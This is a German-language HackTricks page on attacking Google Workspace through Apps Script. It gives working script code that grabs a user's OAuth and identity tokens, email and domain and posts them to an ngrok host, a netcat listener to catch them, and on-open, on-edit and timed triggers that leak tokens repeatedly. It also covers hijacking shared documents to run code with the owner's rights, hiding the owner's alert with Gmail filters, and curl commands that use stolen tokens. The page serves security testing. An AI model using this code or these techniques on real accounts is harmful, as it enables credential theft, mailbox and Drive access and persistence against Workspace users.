GWS - App Scripts

Unterstützen Sie HackTricks

App Scripts

App Scripts sind Code, der ausgelöst wird, wenn ein Benutzer mit Editorberechtigung auf das Dokument zugreift, mit dem das App-Skript verknüpft ist, und nach Akzeptieren der OAuth-Aufforderung. Sie können auch so eingestellt werden, dass sie vom Besitzer des App-Skripts zu einem bestimmten Zeitpunkt ausgeführt werden (Persistenz).

App-Skript erstellen

Es gibt mehrere Möglichkeiten, ein App-Skript zu erstellen, obwohl die häufigsten aus einem Google-Dokument (jeder Art) und als eigenständiges Projekt sind:

Erstellen eines an einen Container gebundenen Projekts aus Google Docs, Sheets oder Slides
  1. Öffnen Sie ein Docs-Dokument, ein Sheets-Arbeitsblatt oder eine Slides-Präsentation.

  2. Klicken Sie auf Erweiterungen > Google Apps Script.

  3. Klicken Sie im Skript-Editor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen eines eigenständigen Projekts

Um ein eigenständiges Projekt aus Apps Script zu erstellen:

  1. Gehen Sie zu script.google.com.

  2. Klicken Sie auf Neues Projekt hinzufügen.

  3. Klicken Sie im Skript-Editor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen eines eigenständigen Projekts aus Google Drive
  1. Öffnen Sie Google Drive.

  2. Klicken Sie auf Neu > Weitere > Google Apps Script.

Erstellen eines an einen Container gebundenen Projekts aus Google Forms
  1. Öffnen Sie ein Formular in Google Forms.

  2. Klicken Sie auf Mehr more_vert > Skript-Editor.

  3. Klicken Sie im Skript-Editor auf Unbenanntes Projekt.

  4. Geben Sie Ihrem Projekt einen Namen und klicken Sie auf Umbenennen.

Erstellen eines eigenständigen Projekts mithilfe des clasp-Befehlszeilentools

clasp ist ein Befehlszeilentool, mit dem Sie Apps-Script-Projekte von einem Terminal aus erstellen, abrufen/pushen und bereitstellen können.

Siehe den Leitfaden zur Befehlszeilenschnittstelle mit clasp für weitere Details.

App-Skript-Szenario

Google-Tabelle mit App-Skript erstellen

Beginnen Sie mit der Erstellung eines App-Skripts, meine Empfehlung für dieses Szenario ist die Erstellung einer Google-Tabelle und gehen Sie zu Erweiterungen > App-Skripte, dies wird ein neues App-Skript für Sie öffnen, das mit der Tabelle verknüpft ist.

Token leaken

Um Zugriff auf das OAuth-Token zu gewähren, müssen Sie auf Dienste hinzufügen + klicken und Bereiche wie hinzufügen:

  • AdminDirectory: Zugriff auf Benutzer und Gruppen des Verzeichnisses (wenn der Benutzer über ausreichende Berechtigungen verfügt)

  • Gmail: Um auf Gmail-Daten zuzugreifen

  • Drive: Um auf Drive-Daten zuzugreifen

  • Google Sheets API: Damit es mit dem Trigger funktioniert

Um die benötigten Bereiche selbst zu ändern, können Sie zu den Projekteinstellungen gehen und aktivieren: "appsscript.json"-Manifestdatei im Editor anzeigen.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Um die Anfrage abzufangen, können Sie einfach Folgendes ausführen:

ngrok tcp 4444
nc -lv 4444 #macOS

Berechtigungen, die zur Ausführung des App-Skripts angefordert werden:

Wenn eine externe Anfrage gestellt wird, wird die OAuth-Aufforderung auch um Berechtigung zur Erreichung externer Endpunkte bitten.

Trigger erstellen

Sobald die App gelesen wurde, klicken Sie auf ⏰ Trigger, um einen Trigger zu erstellen. Wählen Sie als Funktion getToken aus, die bei Bereitstellung Head ausgeführt wird. Wählen Sie als Ereignisquelle Von Tabellenkalkulation und als Ereignistyp Beim Öffnen oder Beim Bearbeiten (je nach Bedarf) und speichern Sie.

Beachten Sie, dass Sie die Ausführungen der App-Skripts im Register Ausführungen überprüfen können, wenn Sie etwas debuggen möchten.

Teilen

Um das App-Skript auszulösen, muss das Opfer eine Verbindung mit Editorzugriff herstellen.

Das Token, das zur Ausführung des App-Skripts verwendet wird, ist das des Erstellers des Triggers, auch wenn die Datei von anderen Benutzern als Editor geöffnet wird.

Missbrauch von "Mit mir geteilten" Dokumenten

Wenn Ihnen jemand ein Dokument mit App-Skripts und einem Trigger, der den Head des App-Skripts verwendet (keine feste Bereitstellung), geteilt hat, können Sie den App-Skript-Code ändern (zum Beispiel die Funktionen zum Stehlen von Token hinzufügen), darauf zugreifen und das App-Skript wird mit den Berechtigungen des Benutzers ausgeführt, der das Dokument mit Ihnen geteilt hat! (Beachten Sie, dass das OAuth-Token des Eigentümers die Zugriffsbereiche haben wird, die bei der Erstellung des Triggers angegeben wurden).

Eine Benachrichtigung wird an den Skriptersteller gesendet, die darauf hinweist, dass jemand das Skript geändert hat (Wie wäre es, Gmail-Berechtigungen zu verwenden, um einen Filter zu generieren, um den Alarm zu verhindern?)

Wenn ein Angreifer die Berechtigungsbereiche des App-Skripts ändert, werden die Aktualisierungen nicht auf das Dokument angewendet, bis ein neuer Trigger mit den Änderungen erstellt wird. Daher wird ein Angreifer nicht in der Lage sein, das Token des Eigentümers mit mehr Bereichen zu stehlen, als er im Trigger festgelegt hat.

Kopieren anstelle von Teilen

Wenn Sie einen Link erstellen, um ein Dokument zu teilen, wird ein Link ähnlich diesem erstellt: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Wenn Sie das Ende "/edit" in "/copy" ändern, wird Google Sie fragen, ob Sie eine Kopie des Dokuments erstellen möchten:

Wenn der Benutzer eine Kopie erstellt und darauf zugreift, werden sowohl die Inhalte des Dokuments als auch die App-Skripts kopiert, jedoch werden die Trigger nicht kopiert, daher wird nichts ausgeführt.

Als Webanwendung teilen

Beachten Sie, dass es auch möglich ist, ein App-Skript als Webanwendung zu teilen (im Editor des App-Skripts als Webanwendung bereitstellen), aber es wird eine Warnung wie diese angezeigt:

Gefolgt von der typischen OAuth-Aufforderung, die um die benötigten Berechtigungen bittet.

Testen

Sie können ein gesammeltes Token testen, um E-Mails aufzulisten, mit:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Kalender des Benutzers auflisten:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App-Skript als Persistenz

Eine Option für Persistenz wäre es, ein Dokument zu erstellen und einen Trigger für die Funktion getToken hinzuzufügen und das Dokument mit dem Angreifer zu teilen, sodass jedes Mal, wenn der Angreifer die Datei öffnet, der Token des Opfers exfiltriert wird.

Es ist auch möglich, ein App-Skript zu erstellen und es alle X Zeit auszulösen (zum Beispiel alle Minute, Stunde, Tag...). Ein Angreifer, der Anmeldeinformationen kompromittiert hat oder eine Sitzung eines Opfers hat, könnte einen zeitgesteuerten App-Skript-Trigger einrichten und jeden Tag einen sehr privilegierten OAuth-Token leaken:

Erstellen Sie einfach ein App-Skript, gehen Sie zu Triggern, klicken Sie auf Trigger hinzufügen und wählen Sie als Ereignisquelle Zeitgesteuert und wählen Sie die Optionen aus, die am besten zu Ihnen passen:

Dies wird eine Sicherheitswarnungs-E-Mail und eine Push-Nachricht an Ihr Mobilgerät erstellen, die Sie über dies informiert.

Umgehung der nicht überprüften Aufforderung für freigegebenes Dokument

Darüber hinaus, wenn jemand Ihnen ein Dokument mit Editorzugriff freigegeben hat, können Sie App-Skripte im Dokument generieren und der BESITZER (Ersteller) des Dokuments wird der Besitzer des App-Skripts sein.

Das bedeutet, dass der Ersteller des Dokuments als Ersteller jedes App-Skripts erscheinen wird, das jemand mit Editorzugriff darin erstellt.

Das bedeutet auch, dass das App-Skript vom Workspace-Umfeld des Erstellers des Dokuments vertraut wird.

Das bedeutet auch, dass wenn ein App-Skript bereits existierte und Personen Zugriff gewährt haben, jeder mit Editor-Berechtigung auf dem Dokument es ändern und diesen Zugriff missbrauchen kann. Um dies auszunutzen, benötigen Sie auch Personen, die das App-Skript auslösen. Ein weiterer Trick besteht darin, das Skript als Web-App zu veröffentlichen. Wenn die Personen, die bereits Zugriff auf das App-Skript gewährt haben, die Webseite aufrufen, wird das App-Skript ausgelöst (dies funktioniert auch mit <img>-Tags).

Unterstützen Sie HackTricks

Last updated